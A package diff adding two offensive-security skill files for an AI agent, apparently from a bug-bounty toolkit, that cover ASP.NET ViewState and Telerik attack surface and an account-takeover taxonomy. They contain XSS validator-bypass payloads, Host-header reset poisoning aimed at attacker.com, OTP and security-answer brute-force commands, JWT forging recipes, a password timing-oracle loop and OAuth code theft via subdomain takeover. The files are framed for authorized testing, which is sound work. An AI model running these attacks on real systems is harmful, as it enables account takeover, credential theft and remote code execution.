opencode-skills-collection 4.0.68 → 4.0.70

package/bundled-skills/hunt-aspnet/SKILL.md

@@ -0,0 +1,321 @@
+---
+name: hunt-aspnet
+description: Hunt ASP.NET-specific surface
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: github, authorized-engagement
+report_count: 1
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## Crown Jewel Targets
+
+ASP.NET deserialization bugs pay among the highest amounts in bug bounty when they reach RCE. Even when patched, the disclosure-tier findings (signed-only ViewState, dual-parser differential, request-validator quirks) reliably pay Low-Medium.
+
+**Highest-value targets:**
+
+- **SharePoint farms** (any version — 2013/2016/2019/SE) — sign-only ViewState + permissive ToolPane.aspx + anonymous FormDigest creates the CVE-2025-53770 ToolShell precondition chain
+- **Telerik UI for ASP.NET AJAX** — `Telerik.Web.UI.WebResource.axd` is a documented RCE sink when keys leak (CVE-2017-11317, CVE-2017-11357, CVE-2019-18935)
+- **Classic ASP.NET Webforms enterprise apps** — banking portals, dealer portals, HR systems left on .NET Framework 4.x
+- **WCF services** (`*.svc?WSDL`) — often forgotten admin endpoints with looser auth than the main app
+- **Sitecore CMS** — ViewState + Sitecore-specific deserialization chains (CVE-2021-42237)
+- **DotNetNuke (DNN)** — historic ViewState RCE chains
+- **Umbraco CMS** — ViewState + custom deserialization sinks
+
+**Asset types that pay most:** internet-reachable ASP.NET Webforms apps > WCF admin services > Telerik-integrated sites > Classic ASP.NET MVC with VSF (very rare)
+
+---
+
+## Attack Surface Signals
+
+**Response headers indicating ASP.NET:**
+```
+X-AspNet-Version: 4.0.30319          (classic — disclosure on its own)
+X-Powered-By: ASP.NET
+X-AspNetMvc-Version: 5.2
+Server: Microsoft-IIS/10.0
+Set-Cookie: ASP.NET_SessionId=...
+Set-Cookie: .ASPXAUTH=...            (Forms auth cookie)
+Set-Cookie: .ASPXFORMSAUTH=...
+Set-Cookie: ASP.NET_SessionId=...; SameSite=None  (suggests cross-origin embedding)
+```
+
+**Body signals (in form HTML):**
+```
+<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="..." />
+<input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="..." />
+<input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" />
+                                        ↑ EMPTY = signed-only, not encrypted = exploitable if key leaks
+<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="..." />
+<input type="hidden" name="__REQUESTDIGEST" id="__REQUESTDIGEST" value="0x...,...">
+                                        ↑ SharePoint CSRF token; if anon-issued, see hunt-sharepoint
+```
+
+**URL patterns to probe:**
+```
+/trace.axd                            (per-app trace viewer; sometimes anon-accessible)
+/elmah.axd                            (ELMAH error log viewer)
+/elmah.axd/?id=...                    (ELMAH RCE / stack-trace leak)
+/*.svc                                (WCF services)
+/*.svc?wsdl                           (WCF WSDL)
+/*.svc/mex                            (Metadata Exchange)
+/*.asmx                               (legacy SOAP)
+/*.asmx?WSDL                          (legacy SOAP description)
+/*.asmx?disco                         (legacy discovery)
+/Telerik.Web.UI.WebResource.axd       (Telerik AJAX components)
+/ChartImg.axd                         (DataVisualization controls; historic deserialization)
+/ScriptResource.axd                   (script resource handler; sometimes leaks paths)
+/WebResource.axd                      (web resource handler)
+/_vti_bin/*                           (SharePoint Web Service Forwarder)
+/api/                                 (Web API 2.x is ASP.NET on classic framework)
+/signin                               (often FedAuth / WS-Federation)
+```
+
+**Tech-stack signals:**
+- `Server: Microsoft-IIS/10.0` (or `/8.5`, `/7.5`) — confirmed Windows + IIS
+- `X-AspNet-Version` header — classic .NET Framework (4.x); .NET Core/5+ does NOT emit this
+- Cookies with `ASP.NET_SessionId`, `.ASPXAUTH`, `FedAuth` — Forms or claims auth
+- `__VIEWSTATE` in form bodies — Webforms (NOT MVC, NOT Razor Pages, NOT Blazor)
+- `MicrosoftSharePointTeamServices` header (sometimes stripped by ELB but leaks in `start.aspx` body) — SharePoint
+
+---
+
+## Step-by-Step Hunting Methodology
+
+1. **Fingerprint the framework version.** Trigger any 500 error (stale ViewState POST is a reliable way) and look for `Version Information: Microsoft .NET Framework Version:X.X.XXXXX; ASP.NET Version:X.X.XXXX.X` in the error body. This banner discloses both the runtime and ASP.NET-version-specific patch level. .NET 4.0.30319 + ASP.NET 4.8.x is the most common modern combination.
+
+2. **Locate every form with `__VIEWSTATE`.** Spider the target and grep for `name="__VIEWSTATE"`. Each is a candidate sink for deserialization attacks if MAC / encryption is bypassable.
+
+3. **Check `__VIEWSTATEENCRYPTED` value.** Empty (`value=""`) means ViewState is signed-only via `<machineKey>` but NOT encrypted. Recovery of the validation key → arbitrary deserialization. Non-empty (`value="something"`) means ViewState is BOTH signed and encrypted; both keys needed to forge.
+
+4. **Test the ViewState parser-error differential** (the dual-parser anti-pattern). Send 7+ ViewState shapes and classify responses:
+   - Trivial garbage (`AAAA`) → `"Validation of viewstate MAC failed"`
+   - Real prefix from current page → `"Validation of viewstate MAC failed"`
+   - Flipped-bit real ViewState → `"Validation of viewstate MAC failed"`
+   - Oversize (`A * 100000`) → `"Validation of viewstate MAC failed"`
+   - XML-shaped (`<xss/>`) → **"The state information is invalid for this page and might be corrupted"** ← different parser path
+   - LosFormatter-style prefix (`/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA...`) → **"The state information is invalid for this page and might be corrupted"**
+
+   The differential proves there are **two distinct deserialization entry points**, one of which dispatches BEFORE the MAC check on some payload shapes. Historically this enables MAC-before-parse-bypass exploits.
+
+5. **Look for load-balanced cross-node ViewState MAC failures.** If POST gets a 500 with `"Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that <machineKey> configuration specifies the same validationKey..."`, the farm has multiple WFEs WITHOUT machineKey sync, or without sticky-session affinity. Operationally this breaks legit users; security-wise it confirms farm topology.
+
+6. **Probe `trace.axd` and `elmah.axd`.** If either returns 200 anonymously, it's a Critical finding (trace leaks every request + headers + form data; ELMAH leaks every server error including stack traces).
+
+7. **Enumerate WCF services (`.svc`).** For each, fetch `?wsdl` and `?mex` (metadata exchange). MEX endpoints sometimes return full service contracts including admin operations.
+
+8. **Test request-validator bypass.** ASP.NET's request validator blocks `<` in query strings by default. Bypass categories that may still get through:
+   - HTML-entity-encoded payloads (`&lt;script&gt;` — but these don't execute)
+   - Encoded inside JSON / XML POST bodies (different content-type ≠ same validator)
+   - In path segments (not query) — validator scope depends on framework version
+   - In Cookie / Referer headers (varies)
+   - Inside `<%@ ... %>` ASP directives if reached via WebDAV PUT (rare)
+
+9. **Check `customErrors` mode.** If 500s expose full stack traces, framework versions, file paths, internal method names → `customErrors mode="Off"` is set. Should be `RemoteOnly` for production.
+
+10. **Look for Telerik components.** `Telerik.Web.UI.WebResource.axd?type=rau` is the historic upload-to-RCE chain (CVE-2017-11317). The `dialogParametersHolder` parameter chain (CVE-2019-18935) requires the encryption key but is otherwise RCE.
+
+11. **SharePoint-specific deserialization paths** — see `hunt-sharepoint` skill for the ToolPane.aspx + anonymous FormDigest + unencrypted ViewState chain.
+
+12. **SafeControl enumeration via reflection.** SharePoint's `Picker.aspx?PickerDialogType=<TypeName>` (and DNN-equivalent endpoints) accept class names and return DIFFERENT error messages for "type exists but not whitelisted" vs "type does not exist." Feed a wordlist of `Microsoft.SharePoint.*.WebControls.*` types to enumerate the SafeControl list — useful for CVE-2019-0604-family hunting.
+
+---
+
+## Payload & Detection Patterns
+
+**Stack-trace fingerprint (trigger via stale ViewState POST):**
+```bash
+curl -sk -X POST "https://target.example/page.aspx" \
+  --data "__VIEWSTATE=AAAA&__VIEWSTATEGENERATOR=AAAA"
+# Inspect body for:
+#  - "Validation of viewstate MAC failed" → confirms signed ViewState
+#  - "The state information is invalid for this page" → confirms ALTERNATE parser path
+#  - "Version Information: Microsoft .NET Framework Version:X.X.XXXXX" → exact patch level
+#  - "Microsoft.SharePoint.Client.ServerStub..." → SharePoint farm
+```
+
+**ViewState parser-error differential probe (Python):**
+```python
+import requests, re, json
+S = requests.Session(); S.verify = False
+# Get fresh form
+r = S.get("https://target.example/path/page.aspx")
+real_vs = re.search(r'__VIEWSTATE" id="__VIEWSTATE" value="([^"]+)', r.text).group(1)
+real_vsg = re.search(r'__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="([^"]+)', r.text).group(1)
+
+# Test 7 payload shapes
+for label, vs in [
+    ("trivial",      "AAAA"),
+    ("real",         real_vs),
+    ("flipped-bit",  real_vs[:50] + "X" + real_vs[51:]),
+    ("oversize",     "A" * 100000),
+    ("base64",       "VGVzdE1hcmtlcjY3OFhZWg=="),
+    ("xml-shaped",   "<xss/>"),
+    ("losformatter", "/wEPDwUKMTcxNzgyOTQwMmRkkz9p4lzA" + "A"*50),
+]:
+    r = S.post("https://target.example/path/page.aspx",
+               data={"__VIEWSTATE": vs, "__VIEWSTATEGENERATOR": real_vsg})
+    title = re.search(r'<title>([^<]+)</title>', r.text)
+    title = title.group(1)[:100] if title else "—"
+    print(f"  [{label:14s}] {r.status_code}  {title}")
+```
+
+**`trace.axd` anonymous check:**
+```bash
+curl -sk -o /dev/null -w "%{http_code}\n" "https://target.example/trace.axd"
+# 200 = full trace dump exposed → Critical
+# 403 = mod set to localhost-only → check via X-Forwarded-For: 127.0.0.1
+```
+
+**WCF service enumeration:**
+```bash
+# Find all .svc files
+curl -sk "https://target.example/" -o body.html
+grep -oE '/[a-zA-Z0-9/_-]+\.svc' body.html | sort -u
+# For each found:
+curl -sk "https://target.example/Service.svc?wsdl" | xmllint --format - | head -60
+```
+
+**Request-validator bypass categories:**
+```
+# Default: <script>alert(1)</script> in ?q= → "Potentially dangerous Request.QueryString value detected"
+# Bypasses that sometimes work:
+?q=%3cscript%3e            (URL-encoded — depends on validator config)
+?q=<svg/onload=alert(1)>  (depends on validator version)
+?q=<%00script>             (NUL-byte; older validators)
+?q=javascript:alert(1)     (no < at all — passes validator)
+Cookie: foo=<script>       (cookie body not validated by default)
+Referer: http://x.com/<script>  (referer not validated in classic ASP.NET)
+```
+
+**Telerik exploit gate (CVE-2019-18935 — requires encryption keys):**
+```bash
+# Fingerprint Telerik
+curl -sk "https://target.example/Telerik.Web.UI.WebResource.axd?type=rau" -X POST
+# If response is RadAsyncUploadHandler-style → Telerik present; try keys
+# Public exploits require leaked machineKey AND telerikEncryptionKey
+```
+
+---
+
+## Common Root Causes
+
+1. **`viewStateEncryption="Auto"` defaults to signed-only on pages without sensitive ViewState data.** Many SharePoint pages are configured this way. When `__VIEWSTATEENCRYPTED` is empty, ViewState is signed-only — recovery of `validationKey` alone enables forgery.
+
+2. **`<machineKey>` AutoGenerate in a Web Farm.** Each WFE generates a different key on first boot; ViewState issued by one WFE fails MAC validation on another. Operationally produces 500s; security-wise broadcasts the topology (the error message names the cluster).
+
+3. **`<customErrors mode="Off">` left from development.** Stack traces with full method names, file paths, version banners exposed to anonymous internet users.
+
+4. **`trace.axd` / `elmah.axd` left enabled in production.** Often forgotten in `<system.web><trace enabled="true">` blocks.
+
+5. **Forgotten WCF `.svc` admin endpoints.** Built for internal admin tooling, never disabled when the main app went to internet exposure.
+
+6. **Dual-parser anti-pattern: `ObjectStateFormatter` (legacy) vs `LosFormatter` (modern) deserialize in different orders relative to MAC validation.** Some payload shapes hit the legacy parser BEFORE MAC check.
+
+7. **Request validator only applies to URL-encoded body and querystring.** Headers, cookies, XML/JSON bodies, and multipart fields are NOT validated by default. Developers assume validator is universal; it is not.
+
+8. **`<machineKey>` checked into source repos.** Configuration check-ins to GitHub frequently leak validation/decryption keys. Combine with `hunt-misc` source-recon for Telerik / SharePoint / DNN keys.
+
+9. **`SafeControls` web.config entries trusted to gate deserialization.** SharePoint's `<SafeControl>` list determines which classes Picker.aspx can instantiate. Bypasses exist when the inheritance check is the only gate (CVE-2019-0604 family).
+
+---
+
+## Bypass Techniques
+
+| Defense | Bypass |
+|---|---|
+| `__VIEWSTATEENCRYPTED` non-empty (encrypted) | Recover both decryption + validation keys from any source-code leak / config-disclosure / VS forge primitive; without keys, deserialization cannot be triggered |
+| Request validator blocks `<` in querystring | Move payload to Cookie / Referer / JSON body / multipart filename — validator doesn't reach those contexts in classic ASP.NET |
+| `EnableViewStateMac="true"` enforced | Recover `validationKey` from web.config disclosure or `<machineKey>` AutoGenerate fingerprinting (ysoserial.net `--minify --islegacy` mode generates ViewState that passes some MAC-validation gaps) |
+| `trace.axd` localhost-only | Set `X-Forwarded-For: 127.0.0.1` if the trace mode is `localOnly` and the validation uses Request.UserHostAddress (some apps use Forwarded-For instead) |
+| WCF `.svc` 401 on anonymous | Try `?wsdl` and `?mex` first; metadata is sometimes anonymously enumerable even when service ops require auth |
+| Telerik upload patched | Check the Telerik version: anything pre-2017Q1 (build 2017.1.118 or earlier) is the original RAU RCE. Check 2017Q3 - 2019Q3 for CVE-2019-18935 |
+| `SafeControl` whitelist enforced | Inheritance gate (`instanceof PickerDialog`) IS the gate on patched SP — bypass requires finding a SafeControl subclass with a deserialization sink; enumerate via Picker.aspx |
+| `customErrors mode="On"` (no stack traces) | Force a different error path: invalid Content-Length, malformed ViewState that triggers a parser-level exception below the customErrors handler |
+
+---
+
+## Gate 0 Validation
+
+Before writing the report, confirm:
+
+1. **What can the attacker DO right now with the disclosed information?**
+   - `trace.axd` 200 with full request dump → **Critical** (PII / session cookies / Authorization headers exposed)
+   - `elmah.axd` 200 with error log → **High** (stack traces + internal paths + sometimes credentials)
+   - `__VIEWSTATEENCRYPTED` empty + recoverable machineKey via separate finding → **Critical chain to RCE**
+   - `__VIEWSTATEENCRYPTED` empty without key recovery → **Low-Medium** (primitive present, not exploitable on its own)
+   - Stack traces in 500s → **Low** unless they include credentials / connection strings
+
+2. **Have you reproduced the full chain to attacker-attainable impact, or only the primitive?**
+   - Cross-reference `triage-validation` Pre-Severity Gate. "Primitive confirmed" is not Critical until the chain ends in impact.
+
+3. **Can a triager reproduce in <10 min from your report?**
+   - Each step copy-pasteable curl / Python.
+   - For RCE chains: link the public exploit tool (ysoserial.net, viewgen, telerik-revda) and the specific gadget chain.
+
+---
+
+## Real Impact Examples
+
+### Scenario A — Signed-only ViewState + permissive ToolPane on EoL SharePoint 2013
+
+`https://target-portal.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit` returns 200 anonymously. The form contains `__VIEWSTATE` (signed only — `__VIEWSTATEENCRYPTED=""`), and `__REQUESTDIGEST` is anonymously issued via `_api/contextinfo`. Combined with SP2013 being end-of-life (no patch will ever ship), this is the canonical CVE-2025-53770 "ToolShell" precondition chain on a permanently-unpatched code path. Reported severity: **Critical**. The dual-parser test (Section 4 of Methodology) confirmed that XML-shaped payloads reach the legacy `ObjectStateFormatter` BEFORE MAC validation — additional evidence that the chain is reachable even without full machineKey recovery (though full RCE requires both).
+
+### Scenario B — Telerik RadAsyncUploadHandler exposed on legacy bank portal
+
+`/Telerik.Web.UI.WebResource.axd?type=rau` returns the Telerik upload handler. Telerik version (visible in JS bundle metadata) is 2016.3.1027. CVE-2017-11317 applies — keys are baked into the public Telerik DLL of that version. Upload → write `aspx` to `/app_data/` → request → RCE. Reported severity: **Critical**.
+
+### Scenario C — trace.axd + elmah.axd both exposed on enterprise HR portal
+
+`trace.axd` 200 returns 50 most recent requests, including `Authorization: Bearer eyJ...` headers on API requests. `elmah.axd` 200 returns full error log with database connection-string in one of the exceptions. Reported severity: **Critical** (credentials in plaintext to anonymous internet).
+
+---
+
+## Related Skills & Chains
+
+- **`hunt-rce`** — ViewState deserialization is the headline ASP.NET RCE path; signed-only ViewState + leaked machineKey = RCE every time. Chain primitive: ASP.NET ViewState dual-parser MAC-bypass anti-pattern detected (signed but not encrypted, `<%@ Page enableViewStateMac="true" viewStateEncryptionMode="Never" %>`) + machineKey recovered (from web.config disclosure, `elmah.axd`, source leak, or GitHub) → `hunt-rce` ysoserial.net `TypeConfuseDelegate` gadget → arbitrary command in `w3wp.exe` worker-process identity.
+- **`hunt-sharepoint`** — SharePoint farms inherit every ASP.NET anti-pattern plus their own surface. Chain primitive: ASP.NET fingerprint reveals SharePoint (X-SharePoint headers + `/_layouts/` reachable) → pivot to `hunt-sharepoint` for SP-specific RCE paths (ToolShell, SafeControl reflection) before generic ViewState attack.
+- **`hunt-ntlm-info`** — IIS sites that advertise NTLM/Negotiate anonymously leak AD topology. Chain primitive: ASP.NET app behind IIS with `WWW-Authenticate: NTLM` → `hunt-ntlm-info` Type-2 challenge capture → internal forest name → cross-reference Entra tenant via `m365-entra-attack` discovery.
+- **`hunt-file-upload`** — Telerik RadAsyncUpload, Kentico, Umbraco, and DotNetNuke all have historical upload-handler RCE. Chain primitive: ASP.NET CMS fingerprinted → `hunt-file-upload` bypass matrix against the CMS upload handler → `.aspx` written into web-accessible path → request → RCE under app-pool identity.
+- **`triage-validation`** — `trace.axd`/`elmah.axd` disclosure is only Critical when it actually leaks live credentials/tokens; pure stack traces are usually Low. Chain primitive: pull every reported finding through `triage-validation` 7-Question Gate before submission — distinguish "verbose error" (informational) from "live bearer token in error log" (Critical) before writing the report (`redteam-report-template`).
+
+## When to Use
+
+- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
+- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
+
+## Limitations
+
+- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
+- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
+- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
+
+### Example
+
+```bash
+# Read-only first step; confirm scope before anything active.
+cat scope.txt  # target list from the authorized engagement brief
+```
+
+> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.

package/bundled-skills/hunt-ato/SKILL.md

@@ -0,0 +1,184 @@
+---
+name: hunt-ato
+description: Hunt account takeover taxonomy
+category: security
+risk: offensive
+source: https://github.com/elementalsouls/Claude-BugHunter
+source_repo: elementalsouls/Claude-BugHunter
+source_type: community
+date_added: '2026-09-20'
+license: MIT
+license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
+compatibility: Requires explicit written authorization for a target scope plus the
+  relevant testing tools for this technique. Docs-only; helper scripts and commands
+  not bundled.
+sources: hackerone_public, public_research
+report_count: 7
+---
+> **⚠️ AUTHORIZED USE ONLY**
+> This skill is for educational purposes or authorized security assessments only.
+> You must have explicit, written permission from the system owner before using this tool.
+> Misuse of this tool is illegal and strictly prohibited.
+
+> **Mandatory confirmation gate**
+> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
+> 1. Ask the user to state the exact target URL, IP, account, or resource.
+> 2. Ask the user to confirm written authorization and the permitted scope.
+> 3. Show the exact command(s) and explain their expected effect.
+> 4. Wait for explicit confirmation in the current conversation.
+>
+> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
+
+## 13. ATO — ACCOUNT TAKEOVER TAXONOMY
+> 9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
+
+### Path 1: Password Reset Poisoning (Host-Header)
+```bash
+POST /forgot-password HTTP/1.1
+Host: attacker.com                 # primary Host swap
+# OR keep real Host and add one of:
+X-Forwarded-Host: attacker.com
+X-Host: attacker.com
+X-Forwarded-Server: attacker.com
+# OR dual-Host smuggling:  Host: target.com\r\nHost: attacker.com
+
+email=victimB@company.com
+```
+The reset mailer builds the link from the request Host header → link points to `attacker.com/reset?token=XXXX`. **Confirmation = OOB, not response-based:** point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
+**False-positive killer:** many apps put `attacker.com` in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
+
+### Path 2: Reset Token in Referer / Open-Redirect Leak
+```
+GET /reset-password?token=ABC123
+→ page loads third-party resource: <script src="https://analytics.com/t.js">
+→ browser sends  Referer: https://target.com/reset-password?token=ABC123
+→ token exfiltrated to every off-origin host the page calls
+```
+Also test reset pages that 302 to an open redirect carrying the token in the URL. **Proof:** capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by `Referrer-Policy: no-referrer` + tokens in POST body — note their absence.
+
+### Path 3: Predictable / Weak Reset Tokens
+```bash
+# 6-digit numeric OTP-style reset code, no rate limit:
+ffuf -u "https://target.com/api/reset/verify" -X POST \
+  -H "Content-Type: application/json" \
+  -d '{"email":"victimB@company.com","code":"FUZZ"}' \
+  -w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
+# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
+```
+**Discipline:** request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on `/forgot-password` is routinely rejected — the impact is token guessing, not request flooding.
+
+### Path 4: Token No-Expiry / Reuse / Cross-Account
+```
+Expiry:  request token → wait 2h → still valid? = bug
+Reuse:   use token once → use again → still valid? = bug
+Multi:   request token#1, then token#2 → is token#1 still valid? (should be invalidated)
+Cross:   does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
+```
+
+### Path 5: Email Change Without Re-Auth
+```bash
+PUT /api/user/email HTTP/1.1
+Cookie: session=ATTACKER_A_SESSION
+{"new_email":"attacker@evil.com"}     # no current_password, no OTP, no email-confirm
+```
+If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.
+
+### Path 6: JWT Manipulation
+```bash
+# (a) alg:none — strip the signature, set header alg to none
+python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
+# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
+#
+# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
+curl -s https://target.com/.well-known/jwks.json   # or /oauth/.well-known/...  grab the RSA pub key
+# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
+#
+# (c) weak HMAC secret: crack offline
+hashcat -a 0 -m 16500 token.jwt rockyou.txt   # -m 16500 = JWT
+#
+# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
+```
+**Verified grounding for this class:** [CVE-2015-9235](https://nvd.nist.gov/vuln/detail/CVE-2015-9235) (node `jsonwebtoken` <4.2.2 — alg confusion / none bypass), [CVE-2016-10555](https://nvd.nist.gov/vuln/detail/CVE-2016-10555) (`jwt-simple` RS256→HS256). **Validate:** forged token must reach a privileged endpoint as victim B (e.g. `GET /api/admin` or `/api/users/B`) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged `sub` and keys off the session cookie, the JWT is not the trust boundary — no finding.
+
+### Path 7: Password Change Without Step-Up + Login Oracle
+```bash
+# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
+POST /api/account/password
+Cookie: session=STOLEN_B_COOKIE        # from XSS, session-fixation, or token leak
+{"new_password":"Pwned#2026"}          # no "current_password" field
+#
+# (b) login oracle to find a valid password without an existing cookie — measure response delta:
+for p in $(cat candidates.txt); do
+  t=$(curl -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
+  printf '%s\t%s\n' "$t" "$p"
+done | sort -n     # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
+```
+A no-step-up password-change endpoint is the **persistence multiplier**: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. **False-positive check:** confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).
+
+### Path 8: Social-Recovery / Security-Question Abuse
+```bash
+# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
+ffuf -u "https://target.com/account/recover/answer" -X POST \
+  -H "Content-Type: application/json" \
+  -d '{"email":"victimB@company.com","question":"pet","answer":"FUZZ"}' \
+  -w common-answers.txt -mc 200 -fr "incorrect" -t 5
+# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
+# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)
+```
+Pair with `offensive-osint`: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. **Validate** by completing the recovery flow end-to-end into a session on account B.
+
+### Path 9: SSO Subdomain Takeover at OAuth redirect_uri
+```bash
+# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
+GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
+# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
+dig +short staging.target.com    # CNAME -> nonexistent-app.herokuapp.com  (NXDOMAIN on the target)
+# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
+# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain
+```
+**Confirmation = OOB:** the auth `code` (or implicit `access_token`) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely *reflects* an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — `AADSTS50076` / claims-challenge responses contain a literal `access_token` substring inside the claims field that is NOT a usable token.
+
+### Path 10: Pre-Account / Unverified-Account Takeover
+The victim's account exists in a pending/unverified state (invite not accepted, signup email never confirmed, or no email on file). Claim it first: register or attach your controlled email to that identity, then let the victim complete SSO/OTP login and inherit the attacker-seeded state — or trigger a reset once your email is attached. Test invite/pending flows and any endpoint that writes an email to an account lacking a confirmed one; confirm the victim, after signing in, lands in the account you seeded. High impact, no token interaction. Disclosed: reports/1679734, reports/394329.
+
+### Path 11: Passwordless / Magic-Link Abuse by Identifier
+A passwordless-signup / magic-login / OTP-login endpoint that sets or resets a password (or issues a session) given only an enumerable identifier (phone/email), with no token step. Probe `*passwordless*`, `*magic*`, `*/otp-login`, `*/signup`: does supplying only a phone/email set the password or return a session for that identity? Enumerate identifiers to prove arbitrary-account reach; validate by taking test account B via its number alone. Disclosed: reports/143717.
+
+### ATO Severity Gate
+- **Critical** — zero/low victim interaction: Host-header reset poisoning, JWT forgery to victim endpoint, lax-redirect_uri auth-code theft, IDOR-driven email change → reset.
+- **High** — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).
+- **Medium** — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).
+- **Low** — attacker must be MitM, or only self-account impact.
+
+---
+
+## Related Skills & Chains
+
+- **`hunt-idor`** — The most reliable ATO primitive that needs no email control and no race. Chain primitive: `PATCH /api/users/{victimB_uid}` with attacker-A session + victim UID + `{"email":"attacker@evil.com"}` → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).
+- **`hunt-mfa-bypass`** — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS / token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP/device.
+- **`hunt-oauth`** — Path 9 lives here. Chain primitive: `redirect_uri` validation accepts subdomain match (`*.target.com`) + `hunt-subdomain` reveals a dangling CNAME on `staging.target.com` → claim it on Heroku/S3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match `access_token`.
+- **`hunt-api-misconfig`** — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), `kid` path-traversal / SQLi, and weak-secret cracking (`hashcat -m 16500`). Load it together with this skill for the JWK→PEM conversion mechanics.
+- **`hunt-host-header`** — Path 1 canonical primitive. Chain primitive: `POST /forgot-password` with `Host`/`X-Forwarded-Host: attacker.com` → mailer builds the link from the request Host → link points to `attacker.com/reset?token=XXXX` → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.
+- **`offensive-osint`** — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.
+- **`security-arsenal`** — Pull the Password-Reset Bypass Tables (`X-Forwarded-Host`, `X-Host`, `X-HTTP-Host-Override`, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for "rate-limit on /forgot-password" reports.
